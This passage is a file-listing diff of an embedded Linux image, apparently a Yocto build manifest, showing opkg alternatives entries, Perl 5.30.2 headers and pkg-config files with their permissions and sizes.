+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/cmp
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/comm
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/cp
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/cpio
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/csplit
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/cut
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/date
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/dc
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/dd
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/deallocvt
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/delgroup
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/deluser
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/depmod
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/df
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/diff
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/dir
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/dircolors
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/dirname
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/dmesg
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/dnsdomainname
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/du
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/dumpkmap
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/dumpleases
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/dwp
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/echo
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/egrep
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/eject
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/elfedit
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/env
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/expand
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/expr
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/factor
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/fallocate
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/false
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/fbset
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/fdisk
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/fgrep
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/find
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/flock
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/fmt
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/fold
+-rw-r--r-- root root 62 ./usr/lib/opkg/alternatives/free
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/fsck
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/fsfreeze
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/fstrim
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/fuser
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/getopt
+-rw-r--r-- root root 51 ./usr/lib/opkg/alternatives/getty
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/gprof
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/grep
+-rw-r--r-- root root 96 ./usr/lib/opkg/alternatives/groups
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/gunzip
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/gzip
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/halt
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/head
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/hexdump
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/hostid
+-rw-r--r-- root root 64 ./usr/lib/opkg/alternatives/hostname
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/hwclock
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/id
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/ifconfig
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/ifdown
+-rw-r--r-- root root 34 ./usr/lib/opkg/alternatives/ifup
+-rw-r--r-- root root 34 ./usr/lib/opkg/alternatives/init
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/insmod
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/install
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ionice
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ip
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/join
+-rw-r--r-- root root 102 ./usr/lib/opkg/alternatives/kill
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/killall
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/klogd
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/last
+-rw-r--r-- root root 72 ./usr/lib/opkg/alternatives/lastb
+-rw-r--r-- root root 66 ./usr/lib/opkg/alternatives/lbracket
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ld
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ld.bfd
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/ld.gold
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/less
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/link
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/ln
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/loadfont
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/loadkmap
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/logger
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/login
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/logname
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/logread
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/losetup
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/ls
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/lsmod
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/lzcat
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/lzma
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/md5sum
+-rw-r--r-- root root 92 ./usr/lib/opkg/alternatives/mesg
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/microcom
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mkdir
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/mke2fs
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/mkfifo
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/mkfs.ext2
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mknod
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/mkswap
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/mktemp
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/modinfo
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/modprobe
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/more
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/mount
+-rw-r--r-- root root 97 ./usr/lib/opkg/alternatives/mountpoint
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/mv
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/nc
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/netstat
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/newgrp
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/nice
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/nl
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/nm
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nohup
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nologin
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/nproc
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/nsenter
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/nslookup
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/objcopy
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/objdump
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/od
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/openvt
+-rw-r--r-- root root 64 ./usr/lib/opkg/alternatives/passwd
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/paste
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/patch
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/pathchk
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/pgrep
+-rw-r--r-- root root 80 ./usr/lib/opkg/alternatives/pidof
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/ping
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/ping6
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/pinky
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/pivot_root
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/pkill
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/pmap
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/poweroff
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/pr
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/printenv
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/printf
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/ps
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/ptx
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/pwd
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/pwdx
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/python3-config
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/ranlib
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/rdate
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/readelf
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/readlink
+-rw-r--r-- root root 58 ./usr/lib/opkg/alternatives/readprofile
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/realpath
+-rw-r--r-- root root 62 ./usr/lib/opkg/alternatives/reboot
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/renice
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/reset
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/resize
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/rev
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/rfkill
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/rm
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/rmdir
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/rmmod
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/route
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/rtcwake
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/runcon
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/runlevel
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/run-parts
+-rw-r--r-- root root 49 ./usr/lib/opkg/alternatives/sed
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/seq
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/setconsole
+-rw-r--r-- root root 45 ./usr/lib/opkg/alternatives/setfattr
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/setpriv
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/setsid
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/sh
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/sha1sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha224sum
+-rw-r--r-- root root 75 ./usr/lib/opkg/alternatives/sha256sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha384sum
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/sha512sum
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/shred
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/shuf
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/shutdown
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/size
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/skill
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/sleep
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/snice
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/sort
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/split
+-rw-r--r-- root root 47 ./usr/lib/opkg/alternatives/start-stop-daemon
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/stat
+-rw-r--r-- root root 79 ./usr/lib/opkg/alternatives/strings
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/strip
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/stty
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/su
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/sulogin
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/sum
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/swapoff
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/swapon
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/switch_root
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/sync
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/sysctl
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/syslogd
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/tac
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/tail
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/tar
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/taskset
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/tee
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/telnet
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/test
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/tftp
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/time
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/timeout
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/top
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/touch
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/tr
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/traceroute
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/true
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/truncate
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/ts
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/tsort
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/tty
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/udhcpc
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/udhcpd
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/umount
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/uname
+-rw-r--r-- root root 50 ./usr/lib/opkg/alternatives/unexpand
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/uniq
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/unlink
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/unlzma
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/unshare
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/unxz
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/unzip
+-rw-r--r-- root root 96 ./usr/lib/opkg/alternatives/uptime
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/users
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/usleep
+-rw-r--r-- root root 81 ./usr/lib/opkg/alternatives/utmpdump
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/vdir
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/vi
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/vigr
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/vipw
+-rw-r--r-- root root 36 ./usr/lib/opkg/alternatives/vlock
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/w
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/wall
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/watch
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/wc
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/wget
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/which
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/who
+-rw-r--r-- root root 69 ./usr/lib/opkg/alternatives/whoami
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/xargs
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/xz
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/xzcat
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/yes
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/zcat
+drwxr-xr-x root root 4096 ./usr/lib/perl5
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2
+-rwxr-xr-x root root 3305 ./usr/lib/perl5/5.30.2/Config.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/ExtUtils
+-r--r--r-- root root 1105 ./usr/lib/perl5/5.30.2/ExtUtils/MANIFEST.SKIP
+-rwxr-xr-x root root 11315 ./usr/lib/perl5/5.30.2/ExtUtils/typemap
+-r--r--r-- root root 5071 ./usr/lib/perl5/5.30.2/ExtUtils/xsubpp
+-r--r--r-- root root 4738 ./usr/lib/perl5/5.30.2/strict.pm
+-r--r--r-- root root 2458 ./usr/lib/perl5/5.30.2/vars.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/warnings
+-r--r--r-- root root 49989 ./usr/lib/perl5/5.30.2/warnings.pm
+-r--r--r-- root root 759 ./usr/lib/perl5/5.30.2/warnings/register.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/x86_64-linux
+-r--r--r-- root root 409 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_git.pl
+-r--r--r-- root root 43123 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_heavy.pl
+lrwxrwxrwx root root 15 ./usr/lib/perl5/5.30.2/x86_64-linux/Config_heavy-target.pl -> Config_heavy.pl
+-r--r--r-- root root 3305 ./usr/lib/perl5/5.30.2/x86_64-linux/Config.pm
+drwxr-xr-x root root 4096 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE
+-r--r--r-- root root 3294 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/av.h
+-r--r--r-- root root 850 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/bitcount.h
+-r--r--r-- root root 4114121 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/charclass_invlists.h
+-r--r--r-- root root 162839 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/config.h
+-r--r--r-- root root 40671 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/cop.h
+-r--r--r-- root root 12323 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/cv.h
+-r--r--r-- root root 5461 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/dosish.h
+-r--r--r-- root root 1861 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/dquote_inline.h
+-r--r--r-- root root 49548 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/ebcdic_tables.h
+-r--r--r-- root root 102635 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/embed.h
+-r--r--r-- root root 23467 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/embedvar.h
+-r--r--r-- root root 1652 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/EXTERN.h
+-r--r--r-- root root 3210 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/fakesdio.h
+-r--r--r-- root root 5046 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/feature.h
+-r--r--r-- root root 1463 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/form.h
+-r--r--r-- root root 357 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/git_version.h
+-r--r--r-- root root 10711 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/gv.h
+-r--r--r-- root root 126538 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/handy.h
+-r--r--r-- root root 10786 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv_func.h
+-r--r--r-- root root 25545 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv.h
+-r--r--r-- root root 2953 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/hv_macro.h
+-r--r--r-- root root 68866 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/inline.h
+-r--r--r-- root root 1309 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/INTERN.h
+-r--r--r-- root root 29425 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/intrpvar.h
+-r--r--r-- root root 2976 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/invlist_inline.h
+-r--r--r-- root root 48759 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/iperlsys.h
+-r--r--r-- root root 6587 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/keywords.h
+-r--r--r-- root root 126938 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/l1_char_class_tab.h
+lrwxrwxrwx root root 29 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/libperl.so -> ../../../../libperl.so.5.30.0
+-r--r--r-- root root 1524 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/malloc_ctl.h
+-r--r--r-- root root 952 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/metaconfig.h
+-r--r--r-- root root 5021 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_data.h
+-r--r--r-- root root 3013 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg.h
+-r--r--r-- root root 4377 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_raw.h
+-r--r--r-- root root 9562 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mg_vtable.h
+-r--r--r-- root root 1693 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/mydtrace.h
+-r--r--r-- root root 3392 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/nostdio.h
+-r--r--r-- root root 93275 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/opcode.h
+-r--r--r-- root root 36350 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/op.h
+-r--r--r-- root root 8860 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/opnames.h
+-r--r--r-- root root 5911 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/op_reg_common.h
+-r--r--r-- root root 3276 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/overload.h
+-r--r--r-- root root 17220 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pad.h
+-r--r--r-- root root 6993 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/parser.h
+-r--r--r-- root root 5321 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/patchlevel.h
+-r--r--r-- root root 10170 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlapi.h
+-r--r--r-- root root 270251 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl.h
+-r--r--r-- root root 6223 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl_inc_macro.h
+-r--r--r-- root root 9464 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlio.h
+-r--r--r-- root root 13761 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perliol.h
+-r--r--r-- root root 2973 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perl_langinfo.h
+-r--r--r-- root root 527 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlsdio.h
+-r--r--r-- root root 13314 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perlvars.h
+-r--r--r-- root root 4434 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/perly.h
+-r--r--r-- root root 28969 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pp.h
+-r--r--r-- root root 12131 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/pp_proto.h
+-r--r--r-- root root 258888 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/proto.h
+-r--r--r-- root root 78454 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/reentr.h
+-r--r--r-- root root 140155 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regcharclass.h
+-r--r--r-- root root 48923 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regcomp.h
+-r--r--r-- root root 36671 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regexp.h
+-r--r--r-- root root 38053 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/regnodes.h
+-r--r--r-- root root 57294 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/sbox32_hash.h
+-r--r--r-- root root 11887 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/scope.h
+-r--r--r-- root root 10477 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/stadtx_hash.h
+-r--r--r-- root root 85432 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/sv.h
+-r--r--r-- root root 12095 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/thread.h
+-r--r--r-- root root 2048 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/time64_config.h
+-r--r--r-- root root 1588 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/time64.h
+-r--r--r-- root root 44 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/try.h
+-r--r--r-- root root 163425 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uconfig.h
+-r--r--r-- root root 8027 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/unicode_constants.h
+-r--r--r-- root root 535594 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uni_keywords.h
+-r--r--r-- root root 5193 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/unixish.h
+-r--r--r-- root root 47587 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/utf8.h
+-r--r--r-- root root 67051 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/utfebcdic.h
+-r--r--r-- root root 10011 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/util.h
+-r--r--r-- root root 904 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/uudmap.h
+-r--r--r-- root root 7993 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/vutil.h
+-r--r--r-- root root 8230 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/warnings.h
+-r--r--r-- root root 24399 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/XSUB.h
+-r--r--r-- root root 10541 ./usr/lib/perl5/5.30.2/x86_64-linux/CORE/zaphod32_hash.h
+-rwxr-xr-x root root 36089 ./usr/lib/perl5/config.sh
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl/5.30.2
+drwxr-xr-x root root 4096 ./usr/lib/perl5/site_perl/5.30.2/x86_64-linux
+drwxr-xr-x root root 4096 ./usr/lib/pkgconfig
+-rw-r--r-- root root 154 ./usr/lib/pkgconfig/applewmproto.pc
+-rw-r--r-- root root 900 ./usr/lib/pkgconfig/bash.pc
+-rw-r--r-- root root 154 ./usr/lib/pkgconfig/bigreqsproto.pc
+-rw-r--r-- root root 191 ./usr/lib/pkgconfig/blkid.pc
+-rw-r--r-- root root 242 ./usr/lib/pkgconfig/cairo-fc.pc
+-rw-r--r-- root root 239 ./usr/lib/pkgconfig/cairo-ft.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/cairo-gl.pc
+-rw-r--r-- root root 217 ./usr/lib/pkgconfig/cairo-glx.pc
+-rw-r--r-- root root 276 ./usr/lib/pkgconfig/cairo-gobject.pc
+-rw-r--r-- root root 446 ./usr/lib/pkgconfig/cairo.pc
+-rw-r--r-- root root 222 ./usr/lib/pkgconfig/cairo-pdf.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-png.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-ps.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-script.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-svg.pc
+-rw-r--r-- root root 219 ./usr/lib/pkgconfig/cairo-tee.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/cairo-xcb.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/cairo-xcb-shm.pc
+-rw-r--r-- root root 229 ./usr/lib/pkgconfig/cairo-xlib.pc
